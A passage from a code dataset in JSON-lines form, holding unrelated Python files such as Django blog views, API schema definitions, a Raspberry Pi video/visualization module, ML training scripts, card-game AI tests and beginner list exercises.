area)\r\n\r\n    return maxArea\r\n\r\nprint(maxHistogram([2, 1, 5, 6, 2, 3]))","repo_name":"arnabbiswas1510/dsaWithPrateek","sub_path":"Lecture_4-Stacks_II/2-maxHistogram.py","file_name":"2-maxHistogram.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"26237061739","text":"\"\"\"This module contains all programs that use the screen.\"\"\"\nimport logging\nimport os\nimport subprocess\nimport time\nfrom typing import List, TYPE_CHECKING, Optional\n\nfrom django.conf import settings as conf\nfrom core import redis\nfrom core.lights import lights\nfrom core.lights.exceptions import ScreenProgramStopped\nfrom core.lights.programs import ScreenProgram\n\nif TYPE_CHECKING:\n    from core.lights.worker import DeviceManager\n\n\nclass Video(ScreenProgram):\n    \"\"\"Plays a given Video.\"\"\"\n\n    def __init__(self, manager: \"DeviceManager\", video: str, loop=False):\n        super().__init__(manager, os.path.splitext(os.path.basename(video))[0])\n        self.player: Optional[subprocess.Popen] = None\n        if not os.path.isabs(video):\n            video = os.path.join(conf.BASE_DIR, \"resources\", \"videos\", video)\n        if not os.path.isfile(video):\n            logging.warning(\"video %s does not exist\", video)\n            raise ValueError(f\"video {video} does not exist\")\n        self.video = video\n        self.loop = loop\n        self.omxplayer = False\n\n    def start(self) -> None:\n        # omxplayer is preferred because it loops smoothly and is hardware accelerated\n        try:\n            args = [\"omxplayer\", self.video]\n            if self.loop:\n                args.append(\"--loop\")\n            self.player = subprocess.Popen(\n                args, stdout=subprocess.DEVNULL, stdin=subprocess.PIPE\n            )\n            self.omxplayer = True\n        except FileNotFoundError:\n            # vlc is hardware accelerated, but shows a black screen between loops\n            try:\n                args = [\"cvlc\", \"--fullscreen\", \"--no-video-title-show\", self.video]\n                if self.loop:\n                    args.append(\"--loop\")\n                self.player = subprocess.Popen(args, stdout=subprocess.DEVNULL)\n            except FileNotFoundError:\n                # mplayer loops smoothly but is not hardware accelerated\n                try:\n                    args = [\"mplayer\", \"-fs\", self.video]\n                    if self.loop:\n                        args.append(\"-loop\")\n                        args.append(\"0\")\n                    self.player = subprocess.Popen(args, stdout=subprocess.DEVNULL)\n                except FileNotFoundError as error:\n                    raise ValueError(\"No video player found\") from error\n\n    def compute(self) -> None:\n        if not self.player or self.player.poll() is not None:\n            raise ScreenProgramStopped\n\n    def stop(self) -> None:\n        if not self.player:\n            return\n        if self.omxplayer:\n            # for some reason omxplayer refuses to exit on sigterm from python\n            self.player.communicate(b\"q\")\n        else:\n            self.player.terminate()\n\n\nclass Visualization(ScreenProgram):\n    \"\"\"Renders a visualization to the screen.\"\"\"\n\n    NUM_PARTICLES = 400\n    FPS_MEASURE_WINDOW = 20.0  # seconds\n\n    @staticmethod\n    def get_variants() -> List[str]:\n        \"\"\"Returns all possible visualization variants by listing the available shaders.\"\"\"\n        # don't offer this feature on raspberry pi 3\n        try:\n            with open(\"/proc/device-tree/model\", encoding=\"utf-8\") as model_file:\n                model = model_file.read()\n                if model.startswith(\"Raspberry Pi 3\"):\n                    return []\n        except FileNotFoundError:\n            # we are not running on a raspberry pi\n            pass\n\n        try:\n            import raveberry_visualization\n\n            controller = raveberry_visualization.Controller()\n            return controller.get_variants()\n        except ModuleNotFoundError:\n            return []\n\n    def __init__(self, manager: \"DeviceManager\", variant: str) -> None:\n        super().__init__(manager, variant)\n        # __init__ is called for every variant reported by get_variants\n        # that method acts as a guard that the module is installed\n        import raveberry_visualization\n\n        self.controller = raveberry_visualization.Controller()\n        self.last_fps_check = time.time()\n\n    def start(self) -> None:\n        self.manager.utilities.cava.use()\n        self.controller.start(\n            self.name,\n            self.manager.settings[\"ups\"],\n            Visualization.NUM_PARTICLES,\n            Visualization.FPS_MEASURE_WINDOW,\n        )\n\n    def compute(self) -> None:\n        now = time.time()\n        if now - self.last_fps_check > Visualization.FPS_MEASURE_WINDOW / 2:\n            self.last_fps_check = now\n            current_fps = self.controller.get_fps()\n            redis.put(\"current_fps\", current_fps)\n            if (\n                self.manager.settings[\"dynamic_resolution\"]\n                and current_fps < 0.9 * self.manager.settings[\"ups\"]\n            ):\n                self.manager.devices.screen.lower_resolution()\n                # restart the program with the new resolution\n                self.manager.restart_screen_program(sleep_time=2, has_lock=True)\n            else:\n                lights.update_state()\n        if not self.controller.is_active():\n            raise ScreenProgramStopped\n        self.controller.set_parameters(\n            self.manager.utilities.alarm.factor,\n            self.manager.utilities.cava.current_frame,\n        )\n\n    def stop(self) -> None:\n        self.controller.stop()\n        self.manager.utilities.cava.release()\n","repo_name":"raveberry/raveberry","sub_path":"backend/core/lights/screen_programs.py","file_name":"screen_programs.py","file_ext":"py","file_size_in_byte":5367,"program_lang":"python","lang":"en","doc_type":"code","stars":683,"dataset":"github-code","pt":"60"}
+{"seq_id":"69974597633","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nimport os\n\nfrom flash_attn.flash_attn_interface import ParallelAttention1\n\n\ndef main():\n    device = torch.device('cuda:0')\n\n    batch_size = 1\n    seq_len = 8\n    hidden_size = 16\n    num_attention_heads = 2\n\n    para_attn1 = ParallelAttention1(hidden_size, num_attention_heads)\n    para_attn1.to(device)\n    para_attn1.half()\n\n    hidden_states = torch.randn(batch_size, seq_len, hidden_size, dtype=torch.float16, device=device, requires_grad=True)\n    dense_out = para_attn1(hidden_states)\n\n    # print(f'hidden_states shape {hidden_states.shape}')\n    # print(f'dense_out shape {dense_out.shape}')\n\n    out = torch.sum(dense_out)\n    out.backward()\n\n    print('successful !!! ')\n\nif __name__ == '__main__':\n    main()","repo_name":"zhangsmallshark/flash-attn","sub_path":"flash_attn/test_parallel_attn.py","file_name":"test_parallel_attn.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32640445409","text":"from django.shortcuts import render\n\nfrom .models import Comment, Post\n\n# Create your views here.\ndef blog_index(request):\n    # Grab all posts from DB\n    posts = Post.objects.all()\n\n    # Create data context to send back to requestor\n    context = {\n        'posts': posts,\n    }\n\n    return render(request, 'blog/blog_index.html', context)\n\ndef blog_category(request, category):\n    # Grab all posts in the category from the DB\n    posts = Post.object.filter(\n        categories__name__contains=category\n    ).order_by(\n        '-created_on'\n    )\n\n    # Create data context to send back to requesetor\n    context = {\n        \"category\": category,\n        \"posts\": posts,\n    }\n\n    return render(request, 'blog/blog_category.html', context)\n\ndef blog_detail(request, pk):\n    # Grab the requested post from the DB\n    post = Post.object.get(pk=pk)\n    \n    # Grab the comments for the post\n    comments = Comment.objects.filter(post=post)\n\n    # Create data context to send back to requestor\n    context = {\n        \"post\": post,\n        \"comment\": comments,\n    }\n\n    return render(request, 'blog_detail.html', context)","repo_name":"pdouglasjr/rp-getting-started-with-django","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22552393883","text":"from drf_spectacular.utils import inline_serializer, extend_schema, OpenApiParameter\nfrom drf_spectacular.types import OpenApiTypes\nfrom rest_framework import serializers\nfrom certificados.serializers import (CertificadoSerializer, PostSolicitudCertificadoSerializer,\n                                      ResolucionSolicitudCertificadoSerializer)\n\n# diccionarios estructurados como parámetros para @extend_schema\nanular_certificado_schema = dict(\n    summary=\"Anular Certificado\",\n    request=inline_serializer(\n        name=\"IDCertificadoSerializer\",\n        fields={\"certificado\": serializers.IntegerField()}),\n    responses={\n        200: CertificadoSerializer,\n        404: inline_serializer(\n            name=\"MensajeSerializer\",\n            fields={\"mensaje\": serializers.CharField()}),\n    },\n    description='Recibe el ID de un certificado. Si el usuario pertenece al grupo Secretario '\n                'Académico, modifica el certificado cambiando el booleano Valido a False',\n)\n\nTiposCertificadosView_schema = dict(\n    summary=\"Obtener Tipos de Certificados\",\n    request=None,\n    responses={\n        200: inline_serializer(\n            name=\"TiposCertificadoSerializer\",\n            fields={\"id\": serializers.IntegerField(),\n                    \"valor\": serializers.CharField()}),\n    },\n    description='Retorna una lista con todos los Tipos de Certificado'\n)\n\nobtener_certificado_schema = dict(\n    summary=\"Obtener certificado\",\n    request=inline_serializer(\n        name=\"TipoCertificadoSerializer\",\n        fields={\"tipo\": serializers.IntegerField(),\n                \"estudiante\": serializers.IntegerField()}),\n    responses={\n        200: CertificadoSerializer,\n    },\n    description='Recibe el ID de un tipo de certificado, y obtiene automáticamente el estudiante '\n                'asociado a la request. Si Estudiante cuenta con los requisitos (verificador.py), '\n                'retorna un nuevo Certificado. Opcionalmente, usuarios del grupo Secretaría '\n                'Académica pueden incluir el ID de cualquier Estudiante '\n)\n\nenviar_solicitud_schema = dict(\n    summary=\"Enviar Solicitud de Certificado Personalizado\",\n    request=PostSolicitudCertificadoSerializer,\n    responses={\n        200: PostSolicitudCertificadoSerializer,\n    },\n    description='Captura al Estudiante asociado a la request. Si cuenta con los requisitos '\n                '(verificador.py), se crea un registro en SolicitudCertificado '\n)\n\n\nprevisualizar_certificado_personalizado_schema = dict(\n    summary=\"Previsualizar Certificado Personalizado\",\n    request=inline_serializer(\n        name=\"PrevisualizarCertificadoSerializer\",\n        fields={\"titulo\": serializers.CharField(),\n                \"contenido\": serializers.CharField()}),\n    responses={\n        200: None\n    },\n    description='Recibe un título y contenido para previsualizar un Certificado Personalizado '\n                'en el navegador. No se crea un registro en SolicitudCertificado '\n)\n\nvalidar_certificado_schema = dict(\n    summary=\"Validar Certificado\",\n    parameters=[\n        OpenApiParameter(\n            name='folio',\n            type=OpenApiTypes.INT,\n            location=OpenApiParameter.QUERY),\n        OpenApiParameter(\n            name='llave',\n            type=OpenApiTypes.STR,\n            location=OpenApiParameter.QUERY)\n    ],\n    request=None,\n    responses={\n        200: CertificadoSerializer\n    },\n    description='Recibe un folio y llave de un Certificado. Si son válidos,  '\n                'retorna el Certificado'\n)\n\n\nResolucionSolicitudView_schema = dict(\n    summary=\"Resolver Solicitud\",\n    request=ResolucionSolicitudCertificadoSerializer,\n    description='Recibe el ID de una SolicitudCertificado. Si el usuario pertenece al grupo  '\n                'Secretario Académico, y la solicitud se encuentra en estado pendiente, '\n                'se actualiza la SolicitudCertificado con los datos del revisor',\n    parameters=[OpenApiParameter(\n        name='id',\n        type=OpenApiTypes.INT,\n        location=OpenApiParameter.PATH)]\n)\n\n# diccionarios estructurados como parámetros para @extend_schema_view\n\nCertificadoViewSet_schema = dict(\n    retrieve=extend_schema(summary=\"Obtener Certificado\",\n                           description='Recibe como parámetro el ID de un certificado y lo retorna',\n                           parameters=[OpenApiParameter(\n                               name='id_certificado',\n                               type=OpenApiTypes.INT,\n                               location=OpenApiParameter.PATH)]),\n\n    list=extend_schema(summary=\"Obtener Certificados\",\n                       description='Retorna todos los Certificados existentes. Opcionalmente, '\n                       'permite filtrar los Certificados usando el parámetro id_persona',\n                       parameters=[\n                           OpenApiParameter(\n                               name='id_persona',\n                               type=OpenApiTypes.INT,\n                               location=OpenApiParameter.QUERY)]))\n\nSolicitudCertificadoViewset_schema = dict(\n    list=extend_schema(summary=\"Obtener Solicitudes de Certificados Personalizados\",\n                       description='Retorna todas las Solicitudes de Certificados personalizados. '\n                       'Opcionalmente, permite filtrar las Solicitudes de Certificados usando '\n                       'el parámetro id_persona',\n                       parameters=[\n                           OpenApiParameter(\n                               name='id_persona',\n                               type=OpenApiTypes.INT,\n                               location=OpenApiParameter.QUERY)]),\n\n    retrieve=extend_schema(summary=\"Obtener Solicitud de Certificado Personalizado\",\n                           description='Recibe como parámetro el ID de una SolicitudCertificado '\n                           'y la retorna',\n                           parameters=[OpenApiParameter(\n                               name='id_certificado',\n                               type=OpenApiTypes.INT,\n                               location=OpenApiParameter.PATH)]),\n\n)\n","repo_name":"cvargas91/sga","sub_path":"certificados/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39068821886","text":"import argparse\nimport sys\nimport pygame.locals\nfrom core.defs import PuzzleDefinition, PieceRef\nfrom ui import ui\nfrom core import board\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-conf', type=str, required=True, help='Definition file')\n    parser.add_argument('-hints', type=str, required=True, default=None, help='Hint file')\n    args = parser.parse_args()\n\n    puzzle_def = PuzzleDefinition()\n    puzzle_def.load(args.conf, args.hints)\n\n    board = board.Board(puzzle_def)\n    ui = ui.BoardUi(board)\n    ui.init()\n\n    # place hints\n    for hint in board.puzzle_def.hints:\n        id = hint[2]\n        piece_def = board.puzzle_def.all[id]\n        i, j = hint[0], hint[1]\n        ref = PieceRef(piece_def, 0, i, j)\n        board.board[i][j] = ref\n        if hint[3] != -1:\n            ref.dir = hint[3]\n        board.marks[i][j] = id\n\n    board.fix_orientation()\n    ui.update()\n    print(f\"score:{board.evaluate()}\")\n\n    while True:\n        for event in pygame.event.get():\n            if event.type == pygame.locals.QUIT:\n                pygame.quit()\n                sys.exit()\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_i:\n                    ui.marks_enabled = not ui.marks_enabled\n                    ui.update()\n\n        pygame.display.update()\n\n\n\n","repo_name":"TheSil/edge_puzzle","sub_path":"show_hints.py","file_name":"show_hints.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"27195403983","text":"# -*- coding: utf-8 -*-\nfrom random import sample\n\nimport numpy as np\n\nfrom ai.executor import execute_play\nfrom duguai.ai.provider import FollowProvider, PlayProvider\nfrom duguai.card.combo import Combo\n\n\ndef test_follow():\n    follow_provider = FollowProvider(1)\n    follow_provider.add_landlord_id(1)\n    combo = Combo()\n    combo.cards = [3, 3]\n    result = follow_provider.provide(2, 10, 10, np.array([7, 7, 12, 12, 12]), combo)\n    print(result)\n    combo.cards = [9, 9]\n    result = follow_provider.provide(2, 10, 10, np.array([7, 7, 12, 12, 12]), combo)\n    print(result)\n    combo.cards = [4]\n    result = follow_provider.provide(2, 10, 10, np.array([7, 8, 12, 12, 12]), combo)\n    print(result)\n    combo.cards = [9]\n    result = follow_provider.provide(2, 10, 10, np.array([7, 8, 12, 12, 12]), combo)\n    print(result)\n    combo.cards = [13]\n    result = follow_provider.provide(2, 10, 10, np.array([7, 8, 12, 12, 12]), combo)\n    print(result)\n\n\ndef test_sorted_follow():\n    follow_provider = FollowProvider(1)\n    follow_provider.add_landlord_id(1)\n    combo = Combo()\n    combo.cards_view = '3 4 4 6 6 7 8 8 8 10 Q Q K K A 2 2'\n    combo1 = Combo()\n    combo1.cards_view = '3 3'\n    result = follow_provider.provide(0, 18, 17, combo.cards, combo1)\n    print(result)\n\n    combo.cards = [6, 6, 7, 7, 9, 9, 9, 9, 8, 8, 8, 8]\n    result = follow_provider.provide(0, 18, 17, combo.cards, combo1)\n    print(result)\n\n    combo.cards_view = '3 3 7 7 7'\n    combo1.cards_view = '2 2 8 8 8 4 4'\n    result = follow_provider.provide(0, 18, 17, combo1.cards, combo)\n    print(result)\n\n\ndef test_sorted_play():\n    play_provider = PlayProvider(1)\n    play_provider.add_landlord_id(2)\n    play_hand, state_vector, action_list = play_provider.provide(\n        np.array([1, 1, 1, 3, 3, 4, 4, 8, 8, 9, 9, 9, 10, 11, 13, 13, 14]), 15, 17)\n\n    action = sample(action_list, 1)[0]\n    print(PlayProvider.ActionProvider.ACTION_VIEW[action], execute_play(play_hand, action))\n\n\ndef test_bomb():\n    follow_provider = FollowProvider(1)\n    follow_provider.add_landlord_id(2)\n    combo = Combo()\n    combo.cards = [1]\n    res = follow_provider.provide(0, 5, 5, np.array([3, 3, 3, 3, 4, 4, 4, 4, 14, 15]), combo)\n    print(res)\n\n    play_provider = PlayProvider(1)\n    play_provider.add_landlord_id(2)\n    res = play_provider.provide(np.array([3, 3, 3, 3, 4, 4, 4, 4, 14, 15]), 10, 10)\n    print(res)\n\n    res = play_provider.provide(np.array([4, 4, 4, 4, 14, 15]), 10, 10)\n    print(res)\n\n    res = play_provider.provide(np.array([3, 3, 4]), 10, 10)\n    print(res)\n","repo_name":"jiangyinzuo/du-guai","sub_path":"test/ai/provider_test.py","file_name":"provider_test.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"25351282553","text":"import tensorflow as tf\nimport numpy as np\nimport input \n\nX_train_tfidf, y_train, X_test_tfidf, y_test = input.preprocess_data()\n\ntargets_number = 20\nfeatures_number = X_train_tfidf.shape[1]\nbatch_size = 64\n\nsess = tf.Session()\nx_data = tf.placeholder(shape=[None, features_number], dtype=tf.float32, name=\"X_data\")\ny_target = tf.placeholder(tf.int64, [None], name=\"y_data\")\n\n# Starting the model\ndef weight_variable(shape):\n    \"\"\"Create a weight variable with appropriate initialization.\"\"\"\n    initial = tf.truncated_normal(shape, stddev=0.1)\n    return tf.Variable(initial)\n\ndef bias_variable(shape):\n    \"\"\"Create a bias variable with appropriate initialization.\"\"\"\n    initial = tf.constant(0.1, shape=shape)\n    return tf.Variable(initial)\n\ndef nn_layer(input_tensor, input_dim, output_dim, layer_name, act=tf.nn.relu):\n\n    # Adding a name scope ensures logical grouping of the layers in the graph.\n    with tf.name_scope(layer_name):\n      # This Variable will hold the state of the weights for the layer\n      with tf.name_scope('weights'):\n        weights = weight_variable([input_dim, output_dim])\n      with tf.name_scope('biases'):\n        biases = bias_variable([output_dim])\n      with tf.name_scope('Wx_plus_b'):\n        preactivate = tf.matmul(input_tensor, weights) + biases\n        tf.summary.histogram('pre_activations', preactivate)\n      activations = act(preactivate, name='activation')\n      tf.summary.histogram('activations', activations)\n\n      return activations\n\nhidden1 = nn_layer(x_data, features_number, 100, 'layer1')\n\ndropped = tf.nn.dropout(hidden1, 0.9)\nmodel_output = nn_layer(dropped, 100, targets_number, 'layer2', act=tf.identity)\n\n# Starting things adjacent to the model (loss, etc)\n\nloss = tf.losses.sparse_softmax_cross_entropy(logits=model_output, labels=y_target)\ntf.summary.scalar('loss', loss)\n\nprediction = tf.argmax(model_output, 1, name=\"prediction\")\npredictions_correct = tf.equal(prediction, y_target)\naccuracy = tf.reduce_mean(tf.cast(predictions_correct, tf.float32))\ntf.summary.scalar('accuracy', accuracy)\n\nmy_optimizer = tf.train.AdamOptimizer(0.001)\ntrain_step = my_optimizer.minimize(loss)\n\ninit = tf.global_variables_initializer()\nsaver = tf.train.Saver()\nsess.run(init)\n\n# Start model\ntrain_loss = []\ntrain_acc = []\ni_data = []\ntest_acc = []\n\ntrain_writer = tf.summary.FileWriter('graph', sess.graph)\nmerged = tf.summary.merge_all()\nsaver = tf.train.Saver()\n\nfor i in range(1000):\n    rand_index = np.random.choice(X_train_tfidf.shape[0], size=batch_size)\n    rand_x = X_train_tfidf[rand_index].todense()\n    rand_y = np.transpose(y_train[rand_index])\n\n    rand_index_test = np.random.choice(X_test_tfidf.shape[0], size=batch_size)\n    rand_x_test = X_test_tfidf[rand_index_test].todense()\n    rand_y_test = np.transpose(y_test[rand_index_test])\n\n    summary, _ = sess.run([merged, train_step], feed_dict={x_data: rand_x, y_target: rand_y})\n    train_writer.add_summary(summary, i)\n\n    if (i+1)%100==0:\n        i_data.append(i+1)\n        summary, train_loss_temp = sess.run([merged, loss], feed_dict={x_data: rand_x, y_target: rand_y})\n        train_writer.add_summary(summary, i)\n        train_loss.append(train_loss_temp)\n\n        # prediction_array = sess.run(prediction, feed_dict={x_data: rand_x, y_target: rand_y})\n        \n        summary, train_acc_temp = sess.run([merged, accuracy], feed_dict={x_data: rand_x, y_target: rand_y})\n        test_acc_temp = sess.run(accuracy, feed_dict={x_data: rand_x_test, y_target: rand_y_test})\n\n        train_writer.add_summary(summary, i)\n        train_acc.append(train_acc_temp)\n        test_acc.append(test_acc_temp)\n\n        acc_and_loss = [i+1, train_loss_temp, train_acc_temp, test_acc_temp]\n        acc_and_loss = [np.round(x,2) for x in acc_and_loss]\n        print('Generation # {}. Train Loss: {:.2f}. Train Acc: {:.2f} Test Acc: {:.2f}'.format(*acc_and_loss))\n\n# Test the model on the whole test set in order to compare with random forest\nprint(\"Testing the model...\")\nX_test = X_test_tfidf.todense()\ny_test = np.transpose(y_test)\ntest_accuracy = sess.run(accuracy, feed_dict={x_data: X_test, y_target: y_test})\nprint(\"Final accuracy: %f\"%test_accuracy)\n\n#tf.saved_model.simple_save(sess, \"tensorflow_model\", inputs={\"x\": x_data}, outputs={\"y\": y_target} )\nprint(\"Saving the model\")\nsaver.save(sess, './tensorflow_model/mlp', global_step=1000)\n\n","repo_name":"andreistirb/textmining","sub_path":"textmining_tensorflow.py","file_name":"textmining_tensorflow.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32602615937","text":"from typing import List\n\nclass Solution:\n    def removeDuplicates(self, nums: List[int]) -> int:\n        cnt = 0\n        i = 0\n        while i < len(nums):\n            if i != 0 and nums[i] == nums[i-1]:\n                del nums[i-1]\n                i -= 1\n            else:\n                cnt += 1\n            i += 1\n        return cnt\n\nif __name__ == \"__main__\":\n    Solution().removeDuplicates([1,1,2])\n\n","repo_name":"masayasekine/LeetCode","sub_path":"26_remove_duplicates_from_sorted_array.py","file_name":"26_remove_duplicates_from_sorted_array.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8605978753","text":"list_n = [2, 3, 5, 7, 1, 9, 10]\nlist_num = []\nfruit_list = [\"blackberry\", \"melon\", \"melon\", \"pear\"]\nclear_list = [\"Male\", \"Female\", \"Age\", \"DTB\", \"location\", \"Email\", \"Phone\"]\n\nfor i in range(len(fruit_list)):\n    print(fruit_list[i])\n\nclear_list.clear()\nprint(clear_list)\n\nfruit_list.remove(\"melon\")\nfruit_list.pop(0)\nfruit_list.pop()\nprint(fruit_list)\n\ndel list_n[6]\nprint(list_n)\n\nlist_n.insert(0, 1)\nlist_n.insert(3, 4)\nprint(list_n)\n\nlist_n[1:2] = 22, 23, 24, 25\nprint(list_n)\nlist_n[1:4] = 97, 96, 95\nprint(list_n)\n\nlist_test = [\"text\", 111, True, False, 1.9]\nprint(type(list_test))\n\nthislist = [\"coconut\", \"banana\", \"cherry\"]\nthislist.extend(fruit_list)\n\nif \"apple\" in thislist:\n    print(\"Yes, 'apple' is in the fruits list\")\nelse:\n    print(\"I did not find 'apple' in the list :(\")\n    print(thislist)\n\na = [2, 4, 6, 7, 8]\nb = a[:]\nb[2] = 9\nprint(f'List A => {a}')\nprint(f'List B => {b}')\n\nfor count in range(0, 5):\n    list_num.append(int(input('Write a value: ')))\n\nfor possition, number in enumerate(list_num):\n    print(f'Na posição {possition} encontrei o valor {number}')\n\nlist_n.sort(reverse=True)\nprint(list_n)\nlist_n.reverse()\nprint(list_n)\nlist_n.append(11)\nprint(list_n)\nlist_n.insert(0, 0)\nprint(list_n)\n\nif 5 in list_n:\n    list_n.pop()\n    print(list_n)\nelse:\n    print('number 5 not found :(')\n","repo_name":"israellinofaustino/python3_learning","sub_path":"third_world/step12.py","file_name":"step12.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"35706827514","text":"#!/usr/bin/env python3\n\"\"\" A play on python lists\n\n    Build custom lists\n\"\"\"\n# TODO: play with nester?\nclass ListBuilder(list):\n    \"\"\" Class methods build and play with lists\n\n        Inherits from the built-in list class\n    \"\"\"\n    def __init__(self, the_list= []):\n        \"\"\" (ListBuilder, list) -> list\n\n            Initialize attributes\n        \"\"\"\n        self.extend(the_list)\n\n    def csv_file_to_list(self, file_path):\n        \"\"\" (ListBuilder, file) -> list\n\n            Reads <file_path> and returns list (Empty if file doesn't exist)\n        \"\"\"\n        try:\n            with open(file_path) as file_obj:    # Open the file\n                file_data = file_obj.readlines() # read the data\n                for item in file_data: # Process csv and append to list\n                    self.extend(item.strip().split(','))\n            return self\n        except IOError as ioerr:\n            print('File IOError: {0}'.format(ioerr))\n            return self\n    \n    def list_of_floats(self):\n        \"\"\" (ListBuilder) -> list\n\n            Builds a list of integers/floats from input provided by user\n            Returns the list\n        \"\"\"\n        done = False\n        while not done:\n            in_val = input('Enter Integer/Float [Q/q to Finish]: ')\n            if in_val.strip().upper() == 'Q':\n                print('Done...')\n                done = True\n            else:\n                try:\n                    in_val = float(in_val)\n                    self.append(in_val)  # Add item to list\n                except ValueError as verr:\n                    print('ValueError : Expected Integer/Float : {0}'\n                        .format(verr))\n                    print('Try again')\n                    continue # \n        return self\n\n    def avg_list_of_num(self, the_list=None):\n        \"\"\" (ListBuilder, list) -> float\n\n            Averages numbers in <the_list> provided, if none, build list \n            Returns the average of list members\n        \"\"\"\n        total = 0.0 # Init\n        if the_list == None: # Build your own\n            self.extend(self.list_of_floats())\n        for lst_item in self:             \n            try:\n                total += lst_item               \n            except Exception as err:\n                return err\n        return total / len(self)\n\n    def prefix_and_sufix_a_list(self, the_list=[1, 2, 3, 4, 5, 6, 7, 8, 9]):\n        \"\"\" (ListBuilder, list) -> str\n\n            Prints all the prefixes and suffixes of <the_list>\n            Returns (Default):\n            \n            Prefixes of [1, 2, 3, 4, 5, 6, 7, 8, 9]\n            <[]>\n            <[1]>\n            <[1, 2]>\n            <[1, 2, 3]>\n            <[1, 2, 3, 4]>\n            <[1, 2, 3, 4, 5]>\n            <[1, 2, 3, 4, 5, 6]>\n            <[1, 2, 3, 4, 5, 6, 7]>\n            <[1, 2, 3, 4, 5, 6, 7, 8]>\n            <[1, 2, 3, 4, 5, 6, 7, 8, 9]>\n            <[1, 2, 3, 4, 5, 6, 7, 8, 9]>\n            <[2, 3, 4, 5, 6, 7, 8, 9]>\n            <[3, 4, 5, 6, 7, 8, 9]>\n            <[4, 5, 6, 7, 8, 9]>\n            <[5, 6, 7, 8, 9]>\n            <[6, 7, 8, 9]>\n            <[7, 8, 9]>\n            <[8, 9]>\n            <[9]>\n            <[]>\n            Suffixes of [1, 2, 3, 4, 5, 6, 7, 8, 9]\n        \"\"\"\n        self.extend(the_list)\n\n        print('Prefixes of {0}'.format(repr(self)))\n        for lst_item in range(0, len(self) + 1):\n            print('<{0}>'.format(self[0 : lst_item]))\n\n        for lst_item in range(0, len(the_list) + 1):\n            print('<{0}>'.format(self[lst_item : len(self) + 1]))\n        print('Suffixes of {0}'.format(repr(self)))\n                \n\n         \nif __name__ == '__main__':\n    help(ListBuilder)\n\n\n    ","repo_name":"artorious/python3_dojo","sub_path":"custom_modules/list_builder.py","file_name":"list_builder.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8966844782","text":"from __future__ import annotations\n\nimport logging\n\nimport pytest\nfrom _pytest.fixtures import FixtureRequest\nfrom dbt_semantic_interfaces.protocols.semantic_manifest import SemanticManifest\nfrom dbt_semantic_interfaces.references import EntityReference, MeasureReference, MetricReference\n\nfrom metricflow.model.semantics.linkable_element_properties import LinkableElementProperties\nfrom metricflow.model.semantics.metric_lookup import MetricLookup\nfrom metricflow.model.semantics.semantic_model_lookup import SemanticModelLookup\nfrom metricflow.test.fixtures.setup_fixtures import MetricFlowTestSessionState\nfrom metricflow.test.snapshot_utils import assert_linkable_element_set_snapshot_equal, assert_object_snapshot_equal\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.fixture\ndef semantic_model_lookup(simple_semantic_manifest: SemanticManifest) -> SemanticModelLookup:  # Noqa: D\n    return SemanticModelLookup(\n        model=simple_semantic_manifest,\n    )\n\n\n@pytest.fixture\ndef metric_lookup(  # Noqa: D\n    simple_semantic_manifest: SemanticManifest, semantic_model_lookup: SemanticModelLookup\n) -> MetricLookup:\n    return MetricLookup(semantic_manifest=simple_semantic_manifest, semantic_model_lookup=semantic_model_lookup)\n\n\ndef test_get_names(  # noqa: D\n    request: FixtureRequest,\n    mf_test_session_state: MetricFlowTestSessionState,\n    semantic_model_lookup: SemanticModelLookup,\n) -> None:\n    assert_object_snapshot_equal(\n        request=request,\n        mf_test_session_state=mf_test_session_state,\n        obj_id=\"result0\",\n        obj={\n            \"dimension_references\": sorted([d.element_name for d in semantic_model_lookup.get_dimension_references()]),\n            \"measure_references\": sorted([m.element_name for m in semantic_model_lookup.measure_references]),\n            \"entity_references\": sorted([i.element_name for i in semantic_model_lookup.get_entity_references()]),\n        },\n    )\n\n\ndef test_get_elements(semantic_model_lookup: SemanticModelLookup) -> None:  # noqa: D\n    for dimension_reference in semantic_model_lookup.get_dimension_references():\n        assert (\n            semantic_model_lookup.get_dimension(dimension_reference=dimension_reference).reference\n            == dimension_reference\n        )\n    for measure_reference in semantic_model_lookup.measure_references:\n        measure_reference = MeasureReference(element_name=measure_reference.element_name)\n        assert semantic_model_lookup.get_measure(measure_reference=measure_reference).reference == measure_reference\n\n\ndef test_get_semantic_models_for_measure(semantic_model_lookup: SemanticModelLookup) -> None:  # noqa: D\n    bookings_sources = semantic_model_lookup.get_semantic_models_for_measure(MeasureReference(element_name=\"bookings\"))\n    assert len(bookings_sources) == 1\n    assert bookings_sources[0].name == \"bookings_source\"\n\n    views_sources = semantic_model_lookup.get_semantic_models_for_measure(MeasureReference(element_name=\"views\"))\n    assert len(views_sources) == 1\n    assert views_sources[0].name == \"views_source\"\n\n    listings_sources = semantic_model_lookup.get_semantic_models_for_measure(MeasureReference(element_name=\"listings\"))\n    assert len(listings_sources) == 1\n    assert 